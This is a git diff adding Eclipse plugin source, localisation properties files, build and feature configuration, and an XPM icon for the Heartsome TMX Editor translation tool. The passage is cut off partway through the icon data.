extends ContributionComparator { + public int category(IComparableContribution c) { + if (c instanceof WorkbenchPreferenceNode) { + String id = ((WorkbenchPreferenceNode) c).getId(); + if ("net.heartsome.cat.te.ui.preferencepage.system.SystemPreferencePage".equals(id)) { + // 系统èœå• + return 1; + } else if ("org.eclipse.ui.preferencePages.Keys".equals(id)) { + // 系统 > å¿«æ·é”®èœå• + return 2; + } else if ("org.eclipse.ui.net.proxy_preference_page_context".equals(id)) { + // 系统 > 网络连接 + return 3; + }else { + return super.category(c); + } + } else { + return super.category(c); + } + } + +} diff --git a/te/net.heartsome.cat.te/src/net/heartsome/cat/te/TeStartup.java b/te/net.heartsome.cat.te/src/net/heartsome/cat/te/TeStartup.java new file mode 100644 index 0000000..0f7ad83 --- /dev/null +++ b/te/net.heartsome.cat.te/src/net/heartsome/cat/te/TeStartup.java @@ -0,0 +1,24 @@ +package net.heartsome.cat.te; + +import org.eclipse.ui.IStartup; +import org.eclipse.ui.IWorkbench; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.contexts.IContextService; + +public class TeStartup implements IStartup { + + public void earlyStartup() { + final IWorkbench workbench = PlatformUI.getWorkbench(); + workbench.getDisplay().asyncExec(new Runnable() { + + @Override + public void run() { + IContextService contextService = (IContextService) workbench.getService(IContextService.class); + if(contextService != null){ + contextService.activateContext("net.heartsome.cat.te.context"); + } + } + }); + } + +} diff --git a/te/net.heartsome.cat.te/src/net/heartsome/cat/te/resource/Messages.java b/te/net.heartsome.cat.te/src/net/heartsome/cat/te/resource/Messages.java new file mode 100644 index 0000000..70f7847 --- /dev/null +++ b/te/net.heartsome.cat.te/src/net/heartsome/cat/te/resource/Messages.java @@ -0,0 +1,25 @@ +package net.heartsome.cat.te.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public class Messages { + + private static final String BUNDLE_NAME = "net.heartsome.cat.te.resource.message"; + + private static ResourceBundle BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + public static String getString(String key) { + try { + return BUNDLE.getString(key); + } catch (MissingResourceException e) { + return key; + } + } +} diff --git a/te/net.heartsome.cat.te/src/net/heartsome/cat/te/resource/message.properties b/te/net.heartsome.cat.te/src/net/heartsome/cat/te/resource/message.properties new file mode 100644 index 0000000..2a03fe4 --- /dev/null +++ b/te/net.heartsome.cat.te/src/net/heartsome/cat/te/resource/message.properties @@ -0,0 +1,41 @@ +ts.ApplicationActionBarAdvisor.newAction = \u65b0\u5efa +ts.ApplicationActionBarAdvisor.closeAction = \u5173\u95ed +ts.ApplicationActionBarAdvisor.closeAllAction = \u5173\u95ed\u6240\u6709 +ts.ApplicationActionBarAdvisor.refreshAction = \u5237\u65b0 +ts.ApplicationActionBarAdvisor.exitAction = \u9000\u51fa +ts.ApplicationActionBarAdvisor.undoAction = \u64a4\u9500 +ts.ApplicationActionBarAdvisor.redoAction = \u91cd\u505a +ts.ApplicationActionBarAdvisor.cutAction = \u526a\u5207 +ts.ApplicationActionBarAdvisor.copyAction = \u590d\u5236 +ts.ApplicationActionBarAdvisor.pasteAction = \u7c98\u8d34 +ts.ApplicationActionBarAdvisor.deleteAction = \u5220\u9664 +ts.ApplicationActionBarAdvisor.renameAction = \u91cd\u547d\u540d +ts.ApplicationActionBarAdvisor.selectAllAction = \u9009\u62e9\u6240\u6709 +ts.ApplicationActionBarAdvisor.findAction = \u67e5\u627e/\u66ff\u6362... +ts.ApplicationActionBarAdvisor.preferenceAction = \u9009\u9879(&O)... +ts.ApplicationActionBarAdvisor.helpAction = \u67e5\u770b\u5e2e\u52a9 +ts.ApplicationActionBarAdvisor.helpSearchAction = \u641c\u7d22\u5e2e\u52a9 +ts.ApplicationActionBarAdvisor.dynamicHelpAction = \u52a8\u6001\u5e2e\u52a9 +ts.ApplicationActionBarAdvisor.aboutAction = \u5173\u4e8e TMX Editor +ts.ApplicationActionBarAdvisor.menu.file = \u6587\u4ef6(&F) +ts.ApplicationActionBarAdvisor.menu.edit = \u7f16\u8f91(&E) +ts.ApplicationActionBarAdvisor.menu.tool = \u5de5\u5177(&L) +ts.ApplicationActionBarAdvisor.menu.help = \u5e2e\u52a9(&H) + +########################## 2012-08-29 \u6dfb\u52a0 ########################################## +dialog.AboutDialog.title = \u5173\u4e8e Heartsome TMX Editor +dialog.AboutDialog.lblVersionU = Heartsome TMX Editor \u65d7\u8230\u7248 +dialog.AboutDialog.lblVersionF = Heartsome TMX Editor \u4e13\u4e1a\u7248 +dialog.AboutDialog.lblVersionP = Heartsome TMX Editor \u4e2a\u4eba\u7248 +dialog.AboutDialog.lblVersionL = Heartsome TMX Editor \u7cbe\u7b80\u7248 +dialog.AboutDialog.lblVersion2 = \u7248\u672c\uff1a{0} Build {1} +dialog.AboutDialog.lblProduct = \u4ea7\u54c1\u4e3b\u9875\uff1a +dialog.AboutDialog.lblSupport = \u6280\u672f\u652f\u6301\uff1a +dialog.AboutDialog.lblCopyRight = \u7248\u6743\u6240\u6709 (C) 2013 \u701a\u7279\u76db\u79d1\u6280\u6709\u9650\u516c\u53f8 \u4fdd\u7559\u6240\u6709\u6743\u5229 +dialog.AboutDialog.lblWarn = \u8b66\u544a\uff1a\u672c\u8ba1\u7b97\u673a\u7a0b\u5e8f\u53d7\u7248\u6743\u6cd5\u548c\u56fd\u9645\u6761\u7ea6\u4fdd\u62a4\u3002\n\u672a\u7ecf\u6388\u6743\u800c\u64c5\u81ea\u66f4\u6539\u6216\u5206\u53d1\u8be5\u7a0b\u5e8f\u6216\u5176\u4e2d\u7684\u4efb\u4f55\u90e8\u5206\uff0c\u4f1a\u5bfc\u81f4\u4e25\u5389\u7684\u6c11\u4e8b\u548c\u5211\u4e8b\u5904\u7f5a\uff0c\u5e76\u5c06\u5728\u6cd5\u5f8b\u5141\u8bb8\u7684\u6700\u5927\u8303\u56f4\u5185\u6536\u5230\u8d77\u8bc9\u3002 +dialog.AboutDialog.msgTitle = \u63d0\u793a +dialog.AboutDialog.msg = \u83b7\u53d6\u7248\u672c\u4fe1\u606f\u6709\u8bef\uff0c\u8f6f\u4ef6\u5373\u5c06\u9000\u51fa\u3002\n\u8bf7\u91cd\u65b0\u5b89\u88c5 Heartsome TMX Editor\u3002 + +########################## 2012-10-19 \u6dfb\u52a0 ########################################## +dialog.AboutDialog.productLink = http://www.heartsome.net +dialog.AboutDialog.supportLink = http://www.heartsome.net/CN/support.html diff --git a/te/net.heartsome.cat.te/src/net/heartsome/cat/te/resource/message_en.properties b/te/net.heartsome.cat.te/src/net/heartsome/cat/te/resource/message_en.properties new file mode 100644 index 0000000..caed000 --- /dev/null +++ b/te/net.heartsome.cat.te/src/net/heartsome/cat/te/resource/message_en.properties @@ -0,0 +1,41 @@ +ts.ApplicationActionBarAdvisor.newAction = New +ts.ApplicationActionBarAdvisor.closeAction = Close +ts.ApplicationActionBarAdvisor.closeAllAction = Close All +ts.ApplicationActionBarAdvisor.refreshAction = Refresh +ts.ApplicationActionBarAdvisor.exitAction = Exit +ts.ApplicationActionBarAdvisor.undoAction = Undo +ts.ApplicationActionBarAdvisor.redoAction = Redo +ts.ApplicationActionBarAdvisor.cutAction = Cut +ts.ApplicationActionBarAdvisor.copyAction = Copy +ts.ApplicationActionBarAdvisor.pasteAction = Paste +ts.ApplicationActionBarAdvisor.deleteAction = Delete +ts.ApplicationActionBarAdvisor.renameAction = Rename +ts.ApplicationActionBarAdvisor.selectAllAction = Select All +ts.ApplicationActionBarAdvisor.findAction = Find/Replace... +ts.ApplicationActionBarAdvisor.preferenceAction = &Options... +ts.ApplicationActionBarAdvisor.helpAction = Help +ts.ApplicationActionBarAdvisor.helpSearchAction = Search Help +ts.ApplicationActionBarAdvisor.dynamicHelpAction = Dynamic Help +ts.ApplicationActionBarAdvisor.aboutAction = About TMX Editor +ts.ApplicationActionBarAdvisor.menu.file = &File +ts.ApplicationActionBarAdvisor.menu.edit = &Edit +ts.ApplicationActionBarAdvisor.menu.tool = Too&ls +ts.ApplicationActionBarAdvisor.menu.help = &Help + +########################## 2012-08-29 \u6dfb\u52a0 ########################################## +dialog.AboutDialog.title = About Heartsome TMX Editor +dialog.AboutDialog.lblVersionU = Heartsome TMX Editor Ultimate Edition +dialog.AboutDialog.lblVersionF = Heartsome TMX Editor Professional Edition +dialog.AboutDialog.lblVersionP = Heartsome TMX Editor Personal Edition +dialog.AboutDialog.lblVersionL = Heartsome TMX Editor Lite Edition +dialog.AboutDialog.lblVersion2 = Version: {0} Build {1} +dialog.AboutDialog.lblProduct = Product Home: +dialog.AboutDialog.lblSupport = Technical Support: +dialog.AboutDialog.lblCopyRight = Copyright (C) 2013 Heartsome Technologies Ltd. All rights reserved. +dialog.AboutDialog.lblWarn = Warning: This computer program is protected by copyright law and international treaties.\nUnauthorized modification or distribution of the program or its any part may result in severe civil and criminal penalties, prosecution to the maximum extent permitted by law. +dialog.AboutDialog.msgTitle = Message +dialog.AboutDialog.msg = Error occurred while obtaining version information. The software will now exit.\nPlease reinstall Heartsome TMX Editor. + +########################## 2012-10-19 \u6dfb\u52a0 ########################################## +dialog.AboutDialog.productLink = http://www.heartsome.net +dialog.AboutDialog.supportLink = http://www.heartsome.net/EN/support.html diff --git a/te/net.heartsome.cat.te/src/net/heartsome/cat/te/resource/message_zh.properties b/te/net.heartsome.cat.te/src/net/heartsome/cat/te/resource/message_zh.properties new file mode 100644 index 0000000..2a03fe4 --- /dev/null +++ b/te/net.heartsome.cat.te/src/net/heartsome/cat/te/resource/message_zh.properties @@ -0,0 +1,41 @@ +ts.ApplicationActionBarAdvisor.newAction = \u65b0\u5efa +ts.ApplicationActionBarAdvisor.closeAction = \u5173\u95ed +ts.ApplicationActionBarAdvisor.closeAllAction = \u5173\u95ed\u6240\u6709 +ts.ApplicationActionBarAdvisor.refreshAction = \u5237\u65b0 +ts.ApplicationActionBarAdvisor.exitAction = \u9000\u51fa +ts.ApplicationActionBarAdvisor.undoAction = \u64a4\u9500 +ts.ApplicationActionBarAdvisor.redoAction = \u91cd\u505a +ts.ApplicationActionBarAdvisor.cutAction = \u526a\u5207 +ts.ApplicationActionBarAdvisor.copyAction = \u590d\u5236 +ts.ApplicationActionBarAdvisor.pasteAction = \u7c98\u8d34 +ts.ApplicationActionBarAdvisor.deleteAction = \u5220\u9664 +ts.ApplicationActionBarAdvisor.renameAction = \u91cd\u547d\u540d +ts.ApplicationActionBarAdvisor.selectAllAction = \u9009\u62e9\u6240\u6709 +ts.ApplicationActionBarAdvisor.findAction = \u67e5\u627e/\u66ff\u6362... +ts.ApplicationActionBarAdvisor.preferenceAction = \u9009\u9879(&O)... +ts.ApplicationActionBarAdvisor.helpAction = \u67e5\u770b\u5e2e\u52a9 +ts.ApplicationActionBarAdvisor.helpSearchAction = \u641c\u7d22\u5e2e\u52a9 +ts.ApplicationActionBarAdvisor.dynamicHelpAction = \u52a8\u6001\u5e2e\u52a9 +ts.ApplicationActionBarAdvisor.aboutAction = \u5173\u4e8e TMX Editor +ts.ApplicationActionBarAdvisor.menu.file = \u6587\u4ef6(&F) +ts.ApplicationActionBarAdvisor.menu.edit = \u7f16\u8f91(&E) +ts.ApplicationActionBarAdvisor.menu.tool = \u5de5\u5177(&L) +ts.ApplicationActionBarAdvisor.menu.help = \u5e2e\u52a9(&H) + +########################## 2012-08-29 \u6dfb\u52a0 ########################################## +dialog.AboutDialog.title = \u5173\u4e8e Heartsome TMX Editor +dialog.AboutDialog.lblVersionU = Heartsome TMX Editor \u65d7\u8230\u7248 +dialog.AboutDialog.lblVersionF = Heartsome TMX Editor \u4e13\u4e1a\u7248 +dialog.AboutDialog.lblVersionP = Heartsome TMX Editor \u4e2a\u4eba\u7248 +dialog.AboutDialog.lblVersionL = Heartsome TMX Editor \u7cbe\u7b80\u7248 +dialog.AboutDialog.lblVersion2 = \u7248\u672c\uff1a{0} Build {1} +dialog.AboutDialog.lblProduct = \u4ea7\u54c1\u4e3b\u9875\uff1a +dialog.AboutDialog.lblSupport = \u6280\u672f\u652f\u6301\uff1a +dialog.AboutDialog.lblCopyRight = \u7248\u6743\u6240\u6709 (C) 2013 \u701a\u7279\u76db\u79d1\u6280\u6709\u9650\u516c\u53f8 \u4fdd\u7559\u6240\u6709\u6743\u5229 +dialog.AboutDialog.lblWarn = \u8b66\u544a\uff1a\u672c\u8ba1\u7b97\u673a\u7a0b\u5e8f\u53d7\u7248\u6743\u6cd5\u548c\u56fd\u9645\u6761\u7ea6\u4fdd\u62a4\u3002\n\u672a\u7ecf\u6388\u6743\u800c\u64c5\u81ea\u66f4\u6539\u6216\u5206\u53d1\u8be5\u7a0b\u5e8f\u6216\u5176\u4e2d\u7684\u4efb\u4f55\u90e8\u5206\uff0c\u4f1a\u5bfc\u81f4\u4e25\u5389\u7684\u6c11\u4e8b\u548c\u5211\u4e8b\u5904\u7f5a\uff0c\u5e76\u5c06\u5728\u6cd5\u5f8b\u5141\u8bb8\u7684\u6700\u5927\u8303\u56f4\u5185\u6536\u5230\u8d77\u8bc9\u3002 +dialog.AboutDialog.msgTitle = \u63d0\u793a +dialog.AboutDialog.msg = \u83b7\u53d6\u7248\u672c\u4fe1\u606f\u6709\u8bef\uff0c\u8f6f\u4ef6\u5373\u5c06\u9000\u51fa\u3002\n\u8bf7\u91cd\u65b0\u5b89\u88c5 Heartsome TMX Editor\u3002 + +########################## 2012-10-19 \u6dfb\u52a0 ########################################## +dialog.AboutDialog.productLink = http://www.heartsome.net +dialog.AboutDialog.supportLink = http://www.heartsome.net/CN/support.html diff --git a/te/net.heartsome.cat.ts.edition_ultimate_te.feature/.project b/te/net.heartsome.cat.ts.edition_ultimate_te.feature/.project new file mode 100644 index 0000000..07fb54d --- /dev/null +++ b/te/net.heartsome.cat.ts.edition_ultimate_te.feature/.project @@ -0,0 +1,17 @@ + + + net.heartsome.cat.ts.edition_ultimate_te.feature + + + + + + org.eclipse.pde.FeatureBuilder + + + + + + org.eclipse.pde.FeatureNature + + diff --git a/te/net.heartsome.cat.ts.edition_ultimate_te.feature/UltimateWithTeEdition.product b/te/net.heartsome.cat.ts.edition_ultimate_te.feature/UltimateWithTeEdition.product new file mode 100644 index 0000000..f707320 --- /dev/null +++ b/te/net.heartsome.cat.ts.edition_ultimate_te.feature/UltimateWithTeEdition.product @@ -0,0 +1,103 @@ + + + + + + + + + %aboutU + + + + + + + + -Dfile.encoding=UTF-8 +-Xms512m +-Xmx512m +-XX:PermSize=96m +-XX:MaxPermSize=96m +-Xmn256m +-Dversion=8.2.1 +-Ddate=20130502 + -XstartOnFirstThread -Dorg.eclipse.swt.internal.carbon.smallFonts + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/te/net.heartsome.cat.ts.edition_ultimate_te.feature/build.properties b/te/net.heartsome.cat.ts.edition_ultimate_te.feature/build.properties new file mode 100644 index 0000000..970fe5c --- /dev/null +++ b/te/net.heartsome.cat.ts.edition_ultimate_te.feature/build.properties @@ -0,0 +1,3 @@ +bin.includes = feature.xml,\ + plugin_customization.ini,\ + icons/ diff --git a/te/net.heartsome.cat.ts.edition_ultimate_te.feature/feature.xml b/te/net.heartsome.cat.ts.edition_ultimate_te.feature/feature.xml new file mode 100644 index 0000000..d732e0b --- /dev/null +++ b/te/net.heartsome.cat.ts.edition_ultimate_te.feature/feature.xml @@ -0,0 +1,214 @@ + + + + + [-en-] +--------------------------------- +New features: +1. New editing, deleting and copying function for TM match. +2. New offline activation function, licenses can be activated without network connection. +--------------------------------- +Improvements: +1. Improved the display style of internal tag, the new style is cleaner and more beautiful. +2. Improved the way of displaying QA results, dynamically updating QA results. +3. Changed the extension of exported project package file from .zip to .hszip, to distinguish them easily. +4. Optimized the overwriting strategy of existing files when importing project, to streamline project distribution. +5. Optimized the performance of XLIFF editor, to make it run smoother even there are many internal tags. +--------------------------------- +Bug-fixes: +Fixed the bug that unable to activate license on Fedora Linux. +[-zh-] +--------------------------------- +新功能: +1ã€æ–°å¢žå¯¹è®°å¿†åº“匹é…的编辑ã€åˆ é™¤å’Œéƒ¨åˆ†å†…容å¤åˆ¶åŠŸèƒ½ï¼› +2ã€æ–°å¢žç¦»çº¿æ¿€æ´»åŠŸèƒ½ï¼Œå¯åœ¨æ— ç½‘络æ¡ä»¶ä¸‹ç¦»çº¿æ¿€æ´»è®¸å¯è¯ã€‚ +--------------------------------- +改进: +1ã€ä¼˜åŒ–了内部标记样å¼ï¼Œæ›´åŠ ç®€æ´å’Œç¾Žè§‚ï¼› +2ã€ä¼˜åŒ–了 QA 结果的展示,能动æ€æ›´æ–° QA 检查结果; +3ã€å°†å¯¼å‡ºçš„项目包扩展å修改为 .hszip,以区别普通 .zip 压缩包; +4ã€ä¼˜åŒ–了导入项目时对é‡å¤æ–‡ä»¶çš„自动判断和处ç†ç­–略,使项目æµè½¬æ›´åŠ æ–¹ä¾¿ï¼› +5ã€ä¼˜åŒ–了编辑器的性能,å³ä½¿å†…部标记较多也ä¿æŒæµç•…。 +--------------------------------- +ä¿®å¤ï¼š +ä¿®å¤äº†åœ¨ Fedora Linux 系统中无法激活许å¯è¯çš„问题。 + + + + Copyright © Heartsome Technologies Ltd. All rights reserved. +版æƒæ‰€æœ‰ © 瀚特盛科技有é™å…¬å¸ ä¿ç•™æ‰€æœ‰æƒåˆ© + + + + Please refer to Heartsome Software End User License Agreement (EULA). +请å‚考 Heartsome 软件最终用户许å¯å议。 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/te/net.heartsome.cat.ts.edition_ultimate_te.feature/icons/linux/xliff.xpm b/te/net.heartsome.cat.ts.edition_ultimate_te.feature/icons/linux/xliff.xpm new file mode 100644 index 0000000..1d895c8 --- /dev/null +++ b/te/net.heartsome.cat.ts.edition_ultimate_te.feature/icons/linux/xliff.xpm @@ -0,0 +1,10486 @@ +/* XPM */ +static char * xliff_xpm[] = { +"128 128 10355 3", +" c None", +". c #FFFFFF", +"+ c #FFF1E9", +"@ c #FFD4B4", +"# c #FFC495", +"$ c #FFC597", +"% c #FFC699", +"& c #FFC698", +"* c #FFC393", +"= c #FFCCA6", +"- c #FFE8D9", +"; c #FFFDFD", +"> c #FBAB72", +", c #E6791C", +"' c #C85E00", +") c #B14E00", +"! c #B24E00", +"~ c #B35000", +"{ c #B25000", +"] c #B04D00", +"^ c #BF5600", +"/ c #DD7011", +"( c #F6964D", +"_ c #FFE9DC", +": c #F7954C", +"< c #BE5000", +"[ c #7B3B08", +"} c #5F2E19", +"| c #55271C", +"1 c #56271C", +"2 c #56281C", +"3 c #54271B", +"4 c #54261B", +"5 c #55261B", +"6 c #54271C", +"7 c #54261D", +"8 c #5B2C1B", +"9 c #6E3710", +"0 c #A64900", +"a c #EC7416", +"b c #FFE9DB", +"c c #FDBA8A", +"d c #C15000", +"e c #613316", +"f c #471925", +"g c #491827", +"h c #481827", +"i c #491926", +"j c #481926", +"k c #471825", +"l c #461824", +"m c #451824", +"n c #451724", +"o c #481825", +"p c #481826", +"q c #461825", +"r c #481925", +"s c #50271D", +"t c #A44800", +"u c #F59043", +"v c #FFFCFC", +"w c #FFFBFA", +"x c #ED8833", +"y c #843D03", +"z c #471A24", +"A c #532026", +"B c #5E2C1F", +"C c #6C3415", +"D c #6D3315", +"E c #6C3215", +"F c #6C3214", +"G c #6C3213", +"H c #6C3212", +"I c #6B3112", +"J c #683011", +"K c #662F11", +"L c #622D10", +"M c #602B0F", +"N c #5D2B0F", +"O c #5F2B0F", +"P c #622D0F", +"Q c #652F11", +"R c #693011", +"S c #6A3111", +"T c #6A3112", +"U c #693010", +"V c #673011", +"W c #652F10", +"X c #642E10", +"Y c #632D10", +"Z c #612D0F", +"` c #612C0F", +" . c #652E10", +".. c #632E10", +"+. c #612D10", +"@. c #602C0F", +"#. c #622E10", +"$. c #662F10", +"%. c #6C3312", +"&. c #6C3313", +"*. c #6B3213", +"=. c #693112", +"-. c #673112", +";. c #632D11", +">. c #642E11", +",. c #663012", +"'. c #683112", +"). c #6A3212", +"!. c #6D3414", +"~. c #6C3414", +"{. c #6E3714", +"]. c #63301B", +"^. c #562325", +"/. c #4A1A27", +"(. c #653316", +"_. c #D26100", +":. c #FFDDC6", +"<. c #FFE1CC", +"[. c #D26909", +"}. c #683416", +"|. c #491927", +"1. c #59281F", +"2. c #AF641C", +"3. c #E57F25", +"4. c #DB7824", +"5. c #DA7723", +"6. c #D97723", +"7. c #D97722", +"8. c #D77621", +"9. c #D27320", +"0. c #CB6F1F", +"a. c #C16A1D", +"b. c #B8651B", +"c. c #AF5F1A", +"d. c #AB5D1A", +"e. c #B0601A", +"f. c #CA6E1E", +"g. c #D07220", +"h. c #D47421", +"i. c #D57420", +"j. c #D37320", +"k. c #CF711F", +"l. c #C46B1D", +"m. c #BE681C", +"n. c #B7641B", +"o. c #B5631B", +"p. c #B7651B", +"q. c #B9651B", +"r. c #BB661C", +"s. c #BD671C", +"t. c #BF681C", +"u. c #BB671C", +"v. c #BA661B", +"w. c #B6651B", +"x. c #B2611B", +"y. c #BC671C", +"z. c #C26A1D", +"A. c #C96E1E", +"B. c #CF721F", +"C. c #DA7722", +"D. c #D97822", +"E. c #DA7822", +"F. c #D57521", +"G. c #CF7220", +"H. c #C96E1F", +"I. c #C36C1E", +"J. c #BB671D", +"K. c #BB661D", +"L. c #C46C1E", +"M. c #C96F1F", +"N. c #D67622", +"O. c #D87722", +"P. c #D77722", +"Q. c #D87822", +"R. c #DA7923", +"S. c #DA7823", +"T. c #C9731E", +"U. c #6A361C", +"V. c #4A1927", +"W. c #52251D", +"X. c #FFC293", +"Y. c #FFD4B2", +"Z. c #C05A00", +"`. c #5C2C1A", +" + c #602E17", +".+ c #D6701D", +"++ c #FFDB68", +"@+ c #FFF081", +"#+ c #FFF179", +"$+ c #FFF17B", +"%+ c #FFF17D", +"&+ c #FFF17F", +"*+ c #FFF181", +"=+ c #FFF182", +"-+ c #FFF184", +";+ c #FFF186", +">+ c #FFF188", +",+ c #FFF18A", +"'+ c #FFF18B", +")+ c #FFF18D", +"!+ c #FFF18F", +"~+ c #FFF190", +"{+ c #FFF192", +"]+ c #FFF194", +"^+ c #FFF195", +"/+ c #FFF197", +"(+ c #FFF199", +"_+ c #FFF19A", +":+ c #FFF19C", +"<+ c #FFF19D", +"[+ c #FFF19F", +"}+ c #FFF1A0", +"|+ c #FFF1A2", +"1+ c #FFF1A3", +"2+ c #FFF1A4", +"3+ c #FFF1A6", +"4+ c #FFF1A7", +"5+ c #FFF1A8", +"6+ c #FFF1A9", +"7+ c #FFF1AA", +"8+ c #FFF1AC", +"9+ c #FFF1AD", +"0+ c #FFF0AE", +"a+ c #FFEFAE", +"b+ c #FFECAF", +"c+ c #FBE9B0", +"d+ c #F6E5B0", +"e+ c #EEDEB0", +"f+ c #EDDDB1", +"g+ c #F8E6B1", +"h+ c #FEEAB2", +"i+ c #FBE7B3", +"j+ c #FDE9B4", +"k+ c #FDEAB5", +"l+ c #FFEDB6", +"m+ c #FFEEB7", +"n+ c #FFECB7", +"o+ c #FBEAB7", +"p+ c #F6E6B7", +"q+ c #F5E4B7", +"r+ c #F9E6B6", +"s+ c #FBE8B6", +"t+ c #F7E4B6", +"u+ c #F5E2B6", +"v+ c #F4E1B6", +"w+ c #F5E2B5", +"x+ c #F5E1B5", +"y+ c #F4E0B5", +"z+ c #F3DFB4", +"A+ c #F5E1B3", +"B+ c #FAE7B2", +"C+ c #FCE9B2", +"D+ c #F3DFB1", +"E+ c #EED9B0", +"F+ c #F4DDB0", +"G+ c #F9E0B0", +"H+ c #FCE2AF", +"I+ c #FFE3AE", +"J+ c #FFE4AE", +"K+ c #FFE5AD", +"L+ c #FFE4AC", +"M+ c #FFE4AB", +"N+ c #FFE3AA", +"O+ c #FFE1A8", +"P+ c #FFE1A7", +"Q+ c #FFE0A6", +"R+ c #FFDEA4", +"S+ c #FADAA2", +"T+ c #F5D4A1", +"U+ c #F2D39F", +"V+ c #FEE99D", +"W+ c #F3D89B", +"X+ c #ECCA9A", +"Y+ c #F3D099", +"Z+ c #F5D198", +"`+ c #F9D297", +" @ c #FAD295", +".@ c #F9D194", +"+@ c #F8CF92", +"@@ c #F8CD90", +"#@ c #F8CD8F", +"$@ c #F8CC8D", +"%@ c #F9CB8B", +"&@ c #FACA8A", +"*@ c #FBCA88", +"=@ c #FBC987", +"-@ c #FBC885", +";@ c #FBC682", +">@ c #FBC581", +",@ c #FBC784", +"'@ c #FFC37E", +")@ c #F28B2F", +"!@ c #7F4013", +"~@ c #4E2020", +"{@ c #A04600", +"]@ c #FEB479", +"^@ c #FFD7B5", +"/@ c #C25C00", +"(@ c #5E2D19", +"_@ c #602D18", +":@ c #CC661A", +"<@ c #FFED72", +"[@ c #FFFF95", +"}@ c #FCFF8B", +"|@ c #FCFF8D", +"1@ c #FEFF8F", +"2@ c #FEFF92", +"3@ c #FEFF94", +"4@ c #FEFF97", +"5@ c #FEFF99", +"6@ c #FEFF9B", +"7@ c #FEFF9E", +"8@ c #FEFFA0", +"9@ c #FEFFA2", +"0@ c #FEFFA5", +"a@ c #FEFFA7", +"b@ c #FEFFA9", +"c@ c #FFFFAB", +"d@ c #FFFFAE", +"e@ c #FFFFAF", +"f@ c #FFFFB2", +"g@ c #FFFFB4", +"h@ c #FFFFB6", +"i@ c #FFFFB8", +"j@ c #FFFFBA", +"k@ c #FFFFBC", +"l@ c #FFFFBE", +"m@ c #FFFFC0", +"n@ c #FFFFC1", +"o@ c #FFFFC3", +"p@ c #FFFFC5", +"q@ c #FFFFC7", +"r@ c #FFFFC8", +"s@ c #FFFFCA", +"t@ c #FFFFCB", +"u@ c #FFFFCD", +"v@ c #FFFFCE", +"w@ c #FEFFD0", +"x@ c #FCFFD1", +"y@ c #FAFFD2", +"z@ c #F8FFD4", +"A@ c #F1FFD5", +"B@ c #F2FED7", +"C@ c #FFFFD8", +"D@ c #FFFFD9", +"E@ c #FAFFDA", +"F@ c #F8FFDA", +"G@ c #FBFFDB", +"H@ c #FCFFDB", +"I@ c #FEFFDC", +"J@ c #FDFFDC", +"K@ c #FDFFDD", +"L@ c #FCFFDD", +"M@ c #F9FFDD", +"N@ c #FAFFDE", +"O@ c #FEFFDE", +"P@ c #FFFFDE", +"Q@ c #FEFFDF", +"R@ c #F9FFDF", +"S@ c #F3FEDE", +"T@ c #F2FDDE", +"U@ c #F4FEDE", +"V@ c #F7FFDD", +"W@ c #F8FFDD", +"X@ c #F9FFDC", +"Y@ c #F7FFDC", +"Z@ c #F2FBDB", +"`@ c #EFF7DA", +" # c #F2F9DA", +".# c #FBFFD9", +"+# c #FFFFD7", +"@# c #F1F7D5", +"## c #F1F6D4", +"$# c #F6FBD3", +"%# c #F8FCD1", +"&# c #F9FDD0", +"*# c #FAFDCF", +"=# c #FAFDCD", +"-# c #FBFCCC", +";# c #FBFCCA", +"># c #FAFAC9", +",# c #FAF9C7", +"'# c #FAF8C6", +")# c #F8F6C4", +"!# c #F5F2C2", +"~# c #F1ECC0", +"{# c #EAE6BF", +"]# c #FFFFBD", +"^# c #FBFDBB", +"/# c #E4DDB9", +"(# c #EAE3B7", +"_# c #EBE3B5", +":# c #EDE3B2", +"<# c #EEE3B0", +"[# c #ECE1AE", +"}# c #ECDEAC", +"|# c #EBDDAA", +"1# c #EBDCA7", +"2# c #ECDBA5", +"3# c #ECD9A3", +"4# c #ECD8A0", +"5# c #EDD79E", +"6# c #EED79C", +"7# c #EFD69A", +"8# c #EFD497", +"9# c #F0D395", +"0# c #F1D799", +"a# c #F8D08F", +"b# c #E6852E", +"c# c #7D3D12", +"d# c #491A25", +"e# c #4F211F", +"f# c #A24700", +"g# c #FEB77D", +"h# c #FFD7B6", +"i# c #C35D00", +"j# c #5F2D19", +"k# c #CB671B", +"l# c #FFE26B", +"m# c #FDFF89", +"n# c #FAFF80", +"o# c #FAFF82", +"p# c #FBFF84", +"q# c #FBFF86", +"r# c #FBFF88", +"s# c #FBFF8A", +"t# c #FBFF8D", +"u# c #FBFF8F", +"v# c #FBFF90", +"w# c #FBFF92", +"x# c #FBFF95", +"y# c #FBFF97", +"z# c #FBFF99", +"A# c #FBFF9B", +"B# c #FCFF9C", +"C# c #FCFF9E", +"D# c #FCFFA0", +"E# c #FCFFA2", +"F# c #FCFFA4", +"G# c #FCFFA6", +"H# c #FCFFA8", +"I# c #FCFFA9", +"J# c #FCFFAB", +"K# c #FCFFAD", +"L# c #FCFFAE", +"M# c #FCFFB0", +"N# c #FCFFB2", +"O# c #FCFFB3", +"P# c #FCFFB5", +"Q# c #FCFFB6", +"R# c #FCFFB7", +"S# c #FCFFB9", +"T# c #FCFFBA", +"U# c #FCFEBB", +"V# c #FAFDBD", +"W# c #F7FABE", +"X# c #F4F6BF", +"Y# c #EDEFC0", +"Z# c #EAECC1", +"`# c #FEFDC2", +" $ c #FFFEC3", +".$ c #EBEDC3", +"+$ c #EBEEC5", +"@$ c #F2F5C5", +"#$ c #F6F9C6", +"$$ c #F9FBC7", +"%$ c #FAFDC7", +"&$ c #FAFDC8", +"*$ c #F9FBC8", +"=$ c #F7FAC8", +"-$ c #F8F9C9", +";$ c #F9F9C9", +">$ c #F7F7C9", +",$ c #F1F2C9", +"'$ c #E7EAC9", +")$ c #E9EAC9", +"!$ c #F1F1C9", +"~$ c #F6F6C8", +"{$ c #F9F8C8", +"]$ c #FBF8C8", +"^$ c #FAF8C8", +"/$ c #F9F7C7", +"($ c #FAF8C7", +"_$ c #F9F7C6", +":$ c #F5F3C5", +"<$ c #EAE7C5", +"[$ c #E1DEC4", +"}$ c #E8E6C3", +"|$ c 